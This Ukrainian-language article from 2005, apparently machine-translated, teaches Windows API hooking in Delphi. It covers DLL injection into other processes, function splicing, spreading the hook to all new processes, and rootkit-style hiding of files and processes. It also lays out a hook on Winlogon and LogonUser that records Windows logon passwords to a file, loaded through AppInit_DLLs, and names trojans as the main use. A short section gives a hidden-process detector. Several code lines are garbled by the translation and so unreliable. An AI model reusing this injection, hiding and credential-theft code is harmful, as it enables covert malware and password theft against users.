Перехоплення API функцій в Windows NT

Як відомо, OC Windows NT цілком побудована на системі DLL (динамічно завантажуваних бібліотек). Система надає додаткам сервісні API функції, за допомогою яких воно може взаємодіяти з системою. Перехоплення API функцій дозволяє обійти багато обмежень системи і робити з нею практично що завгодно.
У цій статті я наведу деякі методи програмування перехоплення API, а також приклади його практичного застосування. Передбачається, що читач знайомий з програмуванням в Delphi, роботою завантажувача Windows (завантаження і виклик функцій DLL), а також має деякі уявлення про програмування на асемблері.

Теорія:

API функції представляють і себе ніщо інше, як функції в системних DLL. Будь-який процес у системі обов’язково має у своєму адресному просторі Ntdll.dll, де розташовуються функції Native API — базові функції низькорівневої роботи з системою, функції Kernel32.dll є перехідниками до більш потужним функціям Ntdll, отже доцільно буде перехоплювати саме функції Native API.
Проблема в тому, що Native API функції не задокументовані в SDK, але дізнатися модель їх виклику можна дизассемблируя Kernel32.dll. Не можна стверджувати, що адреси функцій системних бібліотеках не змінюються в залежності від версії ОС, її складання або навіть конкретної ситуації. Це відбувається з-за того, що бажана база образу бібліотеки (dll preferred imagebase) є константою, яку можна змінювати при компіляції. Більш того, зовсім не обов’язково, що dll буде завантажена саме по переважного адресою, — цього не може статися в результаті колізії з іншими модулями, динамічно виділеної пам’яттю і т. п. Тому статичний імпорт функцій відбувається на ім’я модуля і ім’я функції (або її номери — ординала), що надається цим модулем. Завантажувач PE файлу аналізує його таблицю імпорту і визначає адреси функцій, їм імпортуються. У разі, якщо в таблиці імпорту зазначена бібліотека, не присутня в контексті, відбувається її відображення в необхідний контекст, налагодження її образу і ситуація рекурсивно повторюється. В результаті в необхідному місці певної секції PE файлу (що має атрибут «readable») заповнюється масив адрес імпортованих функцій. В процесі роботи кожен модуль звертається до свого масиву для визначення точки входу в яку-небудь функцію.
Отже існують два способи перехоплення викликів API: зміна точки входу в таблиці імпорту та зміну початкових байт самої функції (сплайсинг функції).

Зміна таблиць імпорту:

Цей метод виглядає так. Визначається точка входу перехватываемой функції. Складається список модулів, що у даний момент завантажених в контекст необхідного процесу. Потім перебираються дескриптори імпорту цих модулів в пошуку адрес перехватываемой функції. У разі збігу ця адреса змінюється на адресу нашого обробника.
До переваг цього методу можна віднести те, що код перехватываемой функції не змінюється, що забезпечує коректну роботу в багатопотоковому додатку. Недолік цього методу в тому, що програми можуть зберегти адресу функції до перехоплення, і потім викликати її минаючи обробник. Також можна отримати адресу функції використовуючи GetProcAddress з Kernel32.dll. З — за цього недоліку я вважаю цей метод безперспективним в застосуванні і детально розглядати його не буду.

Сплайсинг функції:

Цей метод полягає в наступному: визначається адреса перехватываемой функції, і перші 5 байт її початку замінюються на довгий jmp перехід за адресою обробника перехоплення.
Якщо необхідно викликати перехватываемую функцію, то перед заміною необхідно зберегти її початкові байти і перед викликом відновлювати їх.
Недолік даного методу полягає в тому, що якщо після відновлення на початку функції відбулося перемикання контексту на інший потік програми, то він зможе викликати функцію минаючи перехоплювач. Цей недолік можна усунути зупиняючи всі побічні потоки програми перед викликом і запускаючи після виклику.

Впровадження коду і створення віддалених потоків:

Перехоплювати API знаходяться в чужому процесі дуже незручно, найбільш зручним способом буде впровадження коду перехоплювача в процес і запустити його на виконання.
Для реалізації цього необхідно відкрити процес з прапорами PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION. Для отримання доступу до системних процесів нам знадобитися привілей SeDebugPrivilege, тому перед установкою перехоплення бажано активувати цей привілей.
Процедура активації SeDebugPrivilege:

function EnableDebugPrivilege:Boolean;
var
hToken:THandle;
SeDebugNameValue:Int64;
tkp:TOKEN_PRIVILEGES;
ReturnLength:Cardinal;
hProcess:THandle;
begin
Result:=false;
//додаємо привілей SeDebugPrivilege
//отримуємо токен нашого процесу
OpenProcessToken(GetCurrentProcess,TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,hToken);
//отримуємо LUID привілеї
if not LookupPrivilegeValue(nil,’SeDebugPrivilege’,SeDebugNameValue)
then begin
CloseHandle(hToken);
exit;
end;
tkp.PrivilegeCount:=1;
tkp.Privileges[0].Luid:=SeDebugNameValue;
tkp.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
//Додаємо привілей до процесу
AdjustTokenPrivileges(hToken,false,tkp,SizeOf(tkp),tkp,ReturnLength);
if GetLastError()ERROR_SUCCESS then exit;
Result:=true;
end;

Наступний код здійснює завантаження в заданий процес динамічної бібліотеки. Використовується метод впровадження коду і створення віддалених потоків.

Procedure InjectDll(PID:thandle;DllName:string;WaitTerminate:boolean);
var
PHandle:thandle;
Memory:pointer;
Inject:InjectCode;
wr,id,z:dword;
code:dword;
r:dword;
begin
//відкриваємо процес
PHandle:=OpenProcess(PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION, FALSE,PID);
//виділяємо пам’ять у процесі
Memory:=VirtualAllocEx(Phandle,nil,sizeof(Inject),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
//формуємо покажчик
asm
push eax;
mov eax,Memory;
mov code,eax;
pop eax;
end;
//ініціалізація впроваджуваного коду
Inject.PushCommand:=$68;
inject.PushArgument:=code+30;
inject.CallCommand:=$15FF;
inject.CallAddr:=code+22;
inject.PushExitThread:=$68;
inject.ExitThreadArg:=0;
inject.CallExitThread:=$15FF;
inject.CallExitThreadAddr:=code+26;
inject.AddrLoadLibrary:=GetProcAddress(GetModuleHandle(‘kernel32.dll’),’LoadLibraryA’);
inject.AddrExitThread:=GetProcAddress(GetModuleHandle(‘kernel32.dll’),’ExitThread’);
for r:=1 to length(DllName) do inject.LibraryName[r-1]:=DllName[r];
inject.LibraryName[r-1]:=#0;

//після ініціалізації структура виглядає так:
// push PushArgument
// call dword ptr [CallAddr]
// push ExitThreadArg
// call dword ptr [CallExitThreadAddr]

//записуємо структуру в процес
WriteProcessMemory(Phandle,Memory,@inject,sizeof(inject),wr);
//створюємо віддалений потік
z:=CreateRemoteThread(phandle,nil,0,Memory,nil,0,id);
//якщо треба, чекаємо завершення потоку
if then WaitTerminate
begin
WaitForSingleObject(z,INFINITE);
//звільняємо пам’ять
VirtualFreeEx(phandle,Memory,sizeof(inject),MEM_RELEASE);
end;
end;

Звернемо увагу на наступну особливість: системні бібліотеки Kernel32.dll і Ntdll.dll завантажуються у всіх процесах за однаковим адресою, що використано для ініціалізації впроваджуваного коду.

Після завантаження DLL в пам’ять процесу, буде виконана її точка входу з аргументом DLL_PROCESS_ATTACH. Завантажена бібліотека може після цього встановити перехоплення API функцій методом сплайсингу.

Розглянемо приклад бібліотеки здійснює перехоплення CreateProcessA:

library ApiHk;

uses
TLHelp32,windows;

type
fr_jmp=packed record
PuhsOp: byte;
PushArg: pointer;
RetOp: byte;
end;

OldCode=packed record
One:dword;
two:word;
end;

var AdrCreateProcessA:pointer;
OldCrp:OldCode;
JmpCrProcA:far_jmp;

Function OpenThread(dwDesiredAccess:dword;bInheritHandle:bool;dwThreadId:dword):dword;stdcall;external ‘kernel32.dll’;

Procedure StopThreads;
var
h,CurrTh,ThrHandle,CurrPr:thandle;
Thread:TThreadEntry32;
begin
CurrTh:=GetCurrentThreadId;
CurrPr:=GetCurrentProcessId;
h:=CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
if then hINVALID_HANDLE_VALUE
begin
Thread.dwSize:=SizeOf(TThreadEntry32);
if Thread32First(h,Thread) then
repeat
if (Thread.th32ThreadIDCurrTh)and(Thread.th32OwnerProcessID=CurrPr) then
begin
ThrHandle:=OpenThread(THREAD_SUSPEND_RESUME,false,Thread.th32ThreadID);
if ThrHandle>0 then
begin
SuspendThread(ThrHandle);
CloseHandle(ThrHandle);
end;
end;
until not Thread32Next(h,Thread);
CloseHandle(h);
end;
end;

Procedure RunThreads;
var
h,CurrTh,ThrHandle,CurrPr:thandle;
Thread:TThreadEntry32;
begin
CurrTh:=GetCurrentThreadId;
CurrPr:=GetCurrentProcessId;
h:=CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
if then hINVALID_HANDLE_VALUE
begin
Thread.dwSize:=SizeOf(TThreadEntry32);
if Thread32First(h,Thread) then
repeat
if (Thread.th32ThreadIDCurrTh)and(Thread.th32OwnerProcessID=CurrPr) then
begin
ThrHandle:=OpenThread(THREAD_SUSPEND_RESUME,false,Thread.th32ThreadID);
if ThrHandle>0 then
begin
ResumeThread(ThrHandle);
CloseHandle(ThrHandle);
end;
end;
until not Thread32Next(h,Thread);
CloseHandle(h);
end;
end;

function TrueCreateProcessA(lpApplicationName: PChar; lpCommandLine: PChar;
lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
lpCurrentDirectory: PChar; const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation): BOOL;
begin
//зняття перехоплення
WriteProcessMemory(CurrProc,AdrCreateProcessA,@OldCrp,SizeOf(OldCode),Writen);
//виклик функції
result:=CreateProcess(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,bInheritHandles, dwCreationFlags or CREATE_SUSPENDED,lpEnvironment,nil,lpStartupInfo,lpProcessInformation);
//установка перехоплення
WriteProcessMemory(CurrProc,AdrCreateProcessA,@JmpCrProcA,SizeOf(far_jmp),Writen);
end;

function NewCreateProcessA(lpApplicationName: PChar; lpCommandLine: PChar;
lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
lpCurrentDirectory: PChar; const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
//наш обробник CreateProcessA
end;

Procedure SetHook;
var
HKernel32,HUser32:thandle;
begin
CurrProc:=GetCurrentProcess;
//отримання адреси CreateProcessA
AdrCreateProcessA:=GetProcAddress(GetModuleHandle(‘kernel32.dll’),’CreateProcessA’);

//ініціалізація структури перехоплення CreateProcessA
JmpCrProcA.PuhsOp:=$68;
JmpCrProcA.PushArg:[email protected];
JmpCrProcA.RetOp:=$C3;
//зберігаємо старе початок функції
ReadProcessMemory(CurrProc,AdrCreateProcessA,@OldCrp,SizeOf(OldCode),bw);
//записуємо нове початок CreateProcessA
WriteProcessMemory(CurrProc,AdrCreateProcessA,@JmpCrProcA,SizeOf(far_jmp),Writen);

begin
//зупиняємо побічні нитки
StopThreads;
//встановлюємо перехоплення
SetHook;
//запускаємо нитки
RunThreads;
end.

Слід звернути увагу на процедури StopThreads і RunThreads, вони відповідно зупиняють і запускають всі потоки крім того, який їх викликає.
Перед установкою перехоплення API необхідно зупиняти всі побічні потоки, інакше процес запису може бути перерваний, і функція викликана іншим потоком, що приведе до помилки доступу до пам’яті та аварійного завершення програми. Цей ефект проявляється не завжди, але може стати причиною нестабільної роботи системи, тому не слід нехтувати цим моментом.
Ще один важливий момент: при отриманні адрес перехоплених функ слід використовувати GetModuleHandleA в тому випадку, якщо точно відомо, що модуль завантажений в адресний простір поточного процесу, інакше слід испольовать дзвінки на loadlibrary. Гарантовано будуть завантажені модулі Ntdll.dll і ті, які статично імпортуються вашої DLL.
Не слід зайвий раз використовувати дзвінки на loadlibrary, оскільки це змінює лічильник завантажень бібліотеки, і заважає її коректної вивантаженні, коли вона не потрібна. В крайньому випадку можна використовувати наступний код:

Handle:=GetModuleHandleA(‘Library.dll’);
IF Handle=0 then Handle:=дзвінки на loadlibrary(‘Library.dll’);

У вищенаведеному прикладі присутня функція TrueCreateProcessA, її слід викликати, якщо необхідно виконати цей виклик CreateProcessA. Також слід звернути увагу на один важливий момент: при написанні функції замінює перехватываемую слід встановити модель виклику аналогічну моделі виклику перехватываемой функції WinAPI це буде stdcall.

Глобалізація:

Припустимо необхідно виконати перехоплення API не тільки в поточному процесі, але й у всіх наступних запущених процесах.
Це можна зробити з допомогою отримання списку процесів і зараження нових процесів, але цей иетод далеко не ідеальний, так як процес до зараження зможе звертатися до оригінальної функції, також такий пошук призводить до зайвого витрачання системних ресурсів.
З інших недоліків даного методу можна відзначити те, що глобализатор буде прив’язаний до одного конкретного процесу, а значить, при його завершенні весь перехоплення накриється.
Інший метод полягає в тому, щоб перехоплювати функції створення процесів і впроваджувати обробник у створений процес ще до виконання його коду.
Процес може бути створений безліччю функцій: CreateProcessA, CreateProcessW, WinExec, ShellExecute, NtCreateProcess. При створенні нового процесу обов’язково відбувається виклик функції ZwCreateThread.

Procedure ZwCreateThread(
var ThreadHandle:PHANDLE;
DesiredAccess:ACCESS_MASK;
ObjectAttributes:pointer;
ProcessHandle:THandle;
ClientId:PClientID;
ThreadContext:pointer;
UserStack:pointer;
CreateSuspended:BOOLEAN);stdcall;external ‘ntdll.dll’;

нас цікавить структура ClientId:
type
PClientID = ^TClientID;
TClientID = packed record
UniqueProcess:cardinal;
UniqueThread:cardinal;
end;

Поле UniqueProcess містить ідентифікатор процесу, якому належить створювана нитка.
Найбільш очевидним буде наступний метод:
Перехватываем ZwCreateThread, звіряємо UniqueProcess з id поточного процесу, і якщо вони різняться, то впроваджуємо перехоплювач в новий процес. Але цей метод не буде працювати, так як в момент створення основної нитки процес ще не ініціалізованим першим і CreateRemoteThread повертає помилку.
Тому при виявленні створення нитки в новому процесі ми просто встановимо прапор NewProcess який будемо використовувати надалі.

Обробник ZwCreateThread буде виглядати так:

Procedure NewZwCreateThread(
var ThreadHandle:PHANDLE;
DesiredAccess:ACCESS_MASK;
ObjectAttributes:pointer;
ProcessHandle:THandle;
ClientId:PClientID;
ThreadContext:pointer;
UserStack:pointer;
CreateSuspended:BOOLEAN);stdcall;
begin
//зняття перехоплення
WriteProcessMemory(CurrProc,AdrZwCreateThread,@OldZwCreateThread,SizeOf(OldCode),Writen);
//викликаємо функцію з прапором CREATE_SUSPENDED, щоб нитка не запустилася до установки перехоплення
ZwCreateThread(ThreadHandle,DesiredAccess,ObjectAttributes, ProcessHandle,ClientId,ThreadContext,UserStack,true);

//перевіряємо, чи належить нитку до поточного процесу
if CurrProcIdClientId.UniqueProcess then
//встановлюємо прапор створення нового процесу
NewProcess:=true;
//якщо треба, то запускаємо нитка
if not CreateSuspended then ResumeThread(ThreadHandle^);
//установка перехоплення
WriteProcessMemory(CurrProc,AdrZwCreateThread,@JmpZwCreateThread,SizeOf(far_jmp),Writen);
end;

Після ініціалізації створеного процесу відбувається запуск його основної нитки з допомогою ZwResumeThread.

Procedure ZwResumeThread(
ThreadHandle:THandle;
var PreviousSuspendCount:PULONG);stdcall;external ‘ntdll.dll’;

Перехопивши цю функцію ми будемо отримувати хэндлы всіх запускаються ниток.
Нам необхідно за хэндлу нитки отримати id процесу володіє цією ниткою. Це робить функція ZwQueryInformationThread.

Procedure ZwQueryInformationThread(
ThreadHandle:THANDLE;
ThreadInformationClass:DWORD;
ThreadInformation:pointer;
ThreadInformationLength:ULONG;
var ReturnLength:PULONG);stdcall;external ‘ntdll.dll’;

ThreadInformationClass — тип одержуваної інформації.
В нашому випадку = THREAD_BASIC_INFO=0;
ThreadInformation — покажчик на структуру, куди буде записана інформація про нитки.
В нашому випадку це буде структура THREAD_BASIC_INFORMATION.

type
THREAD_BASIC_INFORMATION=packed record
ExitStatus:BOOL;
TebBaseAddress:pointer;
ClientId:TClientID;
AffinityMask:DWORD;
Priority:dword;
BasePriority:dword;
end;

ClientId.UniqueProcess буде містити ідентифікатор процесу володіє ниткою.
Якщо цей процес відрізняється від поточного і встановлений прапор NewProcess, то ми повинні впровадити перехоплювач в створений процес і скинути прапор NewProcess.

Обробник функції ZwResumeThread буде виглядати приблизно так:

Procedure NewZwResumeThread(
ThreadHandle:THandle;
var PreviousSuspendCount:PULONG);stdcall;
var
ThreadInfo:THREAD_BASIC_INFORMATION;
Length:pulong;
Handle:DWORD;
begin
//знімаємо перехоплення
WriteProcessMemory(CurrProc,AdrZwResumeThread,@OldZwResumeThread,SizeOf(OldCode),Writen);
//отримую інформацію про процесі володіє цією ниткою
ZwQueryInformationThread(ThreadHandle,THREAD_BASIC_INFO,@ThreadInfo,SizeOf(THREAD_BASIC_INFORMATION),length);
if (ThreadInfo.ClientId.UniqueProcessCurrProcId) and then NewProcess
begin //заражаем новий процес
Handle:=OpenProcess(PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION, FALSE,ThreadInfo.ClientId.UniqueProcess);
InjectDll(Handle);
CloseHandle(Handle);
NewProcess:=false;
end;
//викликаємо оригінальну функцію
ZwResumeThread(ThreadHandle,PreviousSuspendCount);
//встановлюємо перехоплення
WriteProcessMemory(CurrProc,AdrZwResumeThread,@JmpZwResumeThread,SizeOf(far_jmp),Writen);
end;

Таким чином вирішується проблема глобалиации обробника.

Практичне застосування:

Тепер коротко поговоримо про можливих застосуваннях перехоплення API:
Найширше застосування подібна технологія може знайти в троянських програм.
Наприклад, можна створити невидимий процес, приховати якісь файли на диску, приховати записи в реєстрі і приховати мережеві з’єднання.
Можна легко обійти персональні фаерволлы. Можна робити із системою все, що завгодно.
Наприклад, для приховування файлів на диску нам потрібно перехопити функцію ZwQueryDirectoryFile з ntdll.dll. Вона є базовою для всіх API перерахування файлів.

Розглянемо прототип цієї функції:
Procedure ZwQueryDirectoryFile(
FileHandle:dword;
Event:dword;
ApcRoutine:PIO_APC_ROUTINE;
ApcContext:pointer;
var IoStatusBlock:PIO_STATUS_BLOCK;
var FileInformation:pointer;
FileInformationLength:ULONG;
FileInformationClass:FILE_INFORMATION_CLASS;
ReturnSingleEntry:boolean;
FileName:PUNICODE_STRING;
RestartScan:boolean);stdcsll;external ‘ntdll.dll’;
Для нас важливі параметри FileHandle, FileInformation і FileInformationClass.
FileHandle — хендл об’єкта директорії, який може бути отриманий з використанням функції ZwOpenFile.
FileInformation — вказівник миші на виділену пам’ять, куди функція запише необхідні дані.
FileInformationClass визначає тип записів у FileInformation.
FileInformationClass перечислимого типу, але нам необхідні тільки чотири його значення, використовувані для перегляду вмісту директорії.
const
FileDirectoryInformation=1;
FileFullDirectoryInformation=2;
FileBothDirectoryInformation=3;
FileNamesInformation=12;

Структура запису в FileInformation для FileDirectoryInformation:
type _FILE_DIRECTORY_INFORMATION = packed record
NextEntryOffset:ULONG;
Unknown:ULONG;
CreationTime,
LastAccessTime,
LastWriteTime,
ChangeTime,
EndOfFile,
AllocationSize:int64;
FileAttributes:ULONG;
FileNameLength:ULONG;
FileName:PWideChar;
end;

для FileFullDirectoryInformation:
type _FILE_FULL_DIRECTORY_INFORMATION = packed record
NextEntryOffset:ULONG;
Unknown:ULONG;
CreationTime,
LastAccessTime,
LastWriteTime,
ChangeTime,
EndOfFile,
AllocationSize:int64;
FileAttributes:ULONG;
FileNameLength:ULONG;
EaInformationLength:ULONG ;
FileName:PWideChar;
end;

для FileBothDirectoryInformation:
type _FILE_BOTH_DIRECTORY_INFORMATION = packed record
NextEntryOffset:ULONG;
Unknown:ULONG;
CreationTime,
LastAccessTime,
LastWriteTime,
ChangeTime,
EndOfFile,
AllocationSize:int64;
FileAttributes:ULONG;
FileNameLength:ULONG;
EaInformationLength:ULONG ;
AlternateNameLength:ULONG;
AlternateName[0..11]:array of WideChar;
FileName:PWideChar;
end;

і для FileNamesInformation:
type _FILE_NAMES_INFORMATION = packed record
NextEntryOffset:ULONG;
Unknown:ULONG;
FileNameLengthULONG;
FileName:PWideChar;
end;

Функція записує набір цих структур в буфер FileInformation.
В усіх цих типах структур для нас важливі тільки три змінних:
NextEntryOffset — розмір даного елемента списку.
Перший елемент розташований за адресою FileInformation + 0, а другий елемент за адресою FileInformation + NextEntryOffset першого елемента. В останнього елемента поле NextEntryOffset містить нуль.
FileName — це повне ім’я файлу.
FileNameLength — це довжина імені файлу

Для приховування файлу, необхідно порівняти ім’я кожної повертається запису та ім’я файлу, який ми хочемо приховати.
Якщо ми хочемо приховати перший запис, потрібно зрушити наступні за нею структури на розмір першого запису. Це призведе до того, що перший запис буде затерта. Якщо ми хочемо приховати інший запис, ми можемо просто змінити значення NextEntryOffset попереднього запису. Нове значення NextEntryOffset буде нуль, якщо ми хочемо приховати останній запис, інакше значення буде сумою полів NextEntryOffset запису, яку ми хочемо приховати та попереднього запису. Потім необхідно змінити значення поля Unknown попереднього запису, яке надає індекс для подальшого пошуку. Значення поля Unknown попереднього запису повинно дорівнювати значенню поля Unknown запису, яку ми хочемо приховати.
Якщо немає жодного запису, яку можна бачити, ми повинні повернути помилку STATUS_NO_SUCH_FILE.

const
STATUS_NO_SUCH_FILE = $C000000F;

Приховування процесів:
Список процесів можна отримати різними методами: EnumProcesses, CreateToolHelp32Snapshot в. ін., але всі ці API звертаються до базової функції ZwQuerySystemInformation.

Розглянемо прототип цієї функції:
Procedure ZwQuerySystemInformation(ASystemInformationClass:Cardinal;
ASystemInformation:Pointer;
ASystemInformationLength:Cardinal;
AReturnLength:PCardinal):Cardinal; stdcall;external ‘ntdll.dll’;

SystemInformationClass вказує тип інформації, яку ми хочемо отримати, SystemInformation — це покажчик на результуючий буфер, SystemInformationLength розмір цього буфера і ReturnLength — кількість записаних байтів.
Для перерахування запущених процесів ми встановлюємо параметр SystemInformationClass значення SystemProcessesAndThreadsInformation
const
SystemInformationClass=5;

Повертається структура в буфері SystemInformation:

TSystemProcesses=packed record
NextEntryDelta,ThreadCount:Cardinal;
Reserved1:array[0..5]of Cardinal;
CreateTime,UserTime,KernelTime:Int64;
ProcessName:TUnicodeString;
BasePriority,ProcessId,InheritedFromProcessId,HandleCount:Cardinal;
Reserved2:array[0..1] of Cardinal;
//далі байдуже
end;

Приховування процесів схоже на приховування файлів. Ми повинні змінити NextEntryDelta запису попереднього запису приховуваного процесу. Звичайно не потрібно приховувати перший запис, т. к. це процес Idle.

Загалом, ми коротко розглянули спосіб приховування файлів і процесів.

На закінчення, наведу приклад програми перехоплює паролі на вхід в Windows при запуску програм іо імені користувача.
Для початку трохи теорії: при вході користувача в систему процес Winlogon.exe проводить його авторизацію через функції бібліотеки msgina.dll. Конкретно, нас цікавить функція WlxLoggedOutSAS вызывающаяся при вході користувача в систему.
Ось прототип цієї функції:
Function WlxLoggedOutSAS(pWlxContext:pointer;dwSasType:dword;pAuthenticationId:pointer; pLogonSid:pointer;pdwOptions,phToken:PDWORD; pMprNotifyInfo:PWLX_MPR_NOTIFY_INFO;pProfile:pointer):dword;stdcall;external ‘msgina.dll’;
Функції передається структура _WLX_MPR_NOTIFY_INFO містить у собі ім’я користувача, його пароль і домен.
type _WLX_MPR_NOTIFY_INFO=packed record
pszUserName:PWideChar;
pszDomain:PWideChar;
pszPassword:PWideChar;
pszOldPassword:PWideChar;
end;
Ми будемо перехоплювати функцію WlxLoggedOutSAS в процесі Winlogon.exe і зберігати отримані паролі у файлі.
В інших процесах ми будемо перехоплювати LogonUserA, LogonUserW і CreateProcessWithLogonW — ці функції испольуются для запуску процесів від імені іншого користувача.
function LogonUserA(lpszUsername, lpszDomain, lpszPassword: PAnsiChar;
dwLogonType, dwLogonProvider: DWORD; var phToken: THandle): BOOL; stdcall;external ‘advapi32.dll’;

function LogonUserW(lpszUsername, lpszDomain, lpszPassword: PWideChar;
dwLogonType, dwLogonProvider: DWORD; var phToken: THandle): BOOL; stdcall;external ‘advapi32.dll’;

Function CreateProcessWithLogonW(const lpUsername: PWideChar;
const lpDomain: PWideChar; const lpPassword: PWideChar;
dwLogonFlags: DWORD; const lpApplicationName: PWideChar;
lpCommandLine: PWideChar; dwCreationFlags: DWORD;
lpEnvironment: Pointer; const lpCurrentDirectory: PWideChar;
lpStartupInfo: PStartupInfo;
lpProcessInfo: PProcessInformation): Boolean; stdcall;external ‘advapi32.dll’;

Перехоплення цих функцій помістимо в DLL, глобализатор робити не будемо, просто пропишемо нашу бібліотеку в розділ реєстру
HKEY_LOCAL_MACHINESOFTWAREMicrosoftwindows NTCurrentVersionWindows
параметр AppInit_DLLs, тип REG_SZ
Тоді ця бібліотека буде автоматическм підвантажена до будь-якого додатка, яке має в своїй пам’яті user32.dll.
У додатку до статті ви можете завантажити повні вихідні коди програми FuckLogon, яка перехоплює паролі даним методом.

Захист:
Описаний метод перехоплення API функцій може бути використаний для написання надзвичайно небезпечних шкідливих програм.
У уникнення цього, я наведу тут розроблений мною метод пошуку прихованих процесів.
Метод полягає в тому, що список процесів виходить не з допомогою API функцій, а безпосередньо через системні виклики ядра Windows.
Недолік даного методу полягає в тому, що інтерфейси ядра не документовані, і дізнатися їх можна тільки дизассемблируя системні бібліотеки.
Також функції ядра можуть розрізнятися у різних версіях Windows, тому працездатність цього методу скрізь не гарантується.
Наведений нижче код отримує список процесів з допомогою виклику інтерфейсів ядра:
Procedure GetProcessList(var NameList,HandleList:tlist);
asm
push ebp
mov ebp,esp
push ecx
push ebx
push esi
push edi
mov esi,edx
mov ebx,eax
push $5
call @GetInfoTable
jmp @InfoTableEnd
@GetInfoTable:
push ebp
mov ebp,esp
sub esp,004h
push esi
push 000h
pop dword ptr [ebp-004h]
mov esi,000004000h
@GetInfoTable_doublespace:
shl esi,001h
push esi
push 0
call LocalAlloc
test eax,eax
jz @GetInfoTable_failed
mov [ebp-004h],eax
push 000h
push esi
push eax
push dword ptr [ebp+008h]
call @OpenKernelData
jmp @Cont
@OpenKernelData:
mov eax,$ad
call @SystemCall
ret $10
@SystemCall:
mov edx,esp
sysenter
@Cont:
test eax,0C0000000h
jz @GetInfoTable_end
cmp eax,0C0000004h
jnz @GetInfoTable_failed
push dword ptr [ebp-004h]
call LocalFree
jmp @GetInfoTable_doublespace
@GetInfoTable_failed:
push 000h
pop dword ptr [ebp-004h]
@GetInfoTable_end:
mov eax,[ebp-004h]
pop esi
leave
ret 004h
@InfoTableEnd:
mov [edi],eax
@FindData:
mov edx,[eax+$3c]
mov eax,[ebx]
call TList.Add //NameList.Add
mov eax,[edi]
lea edx, [eax+$44]
mov eax,[esi]
call TList.Add //HandleList.Add
mov eax, [edi]
cmp [eax],0
jz @EndData
add eax, [eax]
mov [edi], eax
jmp @FindData
@EndData:
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
end;

NameList буде містити покажчики PWideChar на імена процесів, а HandleList на їх PID. Даний код перевірений на Windows XP sp0,sp1 і sp2.
Цей метод пошуку прихованих процесів реалізований в моїй програмі ProcessMaster, яку ви можете завантажити у додатку до статті.

P. S. Додаток дивіться на www.rem-soft.narod.ru

© Copyright RemSoft Production 2005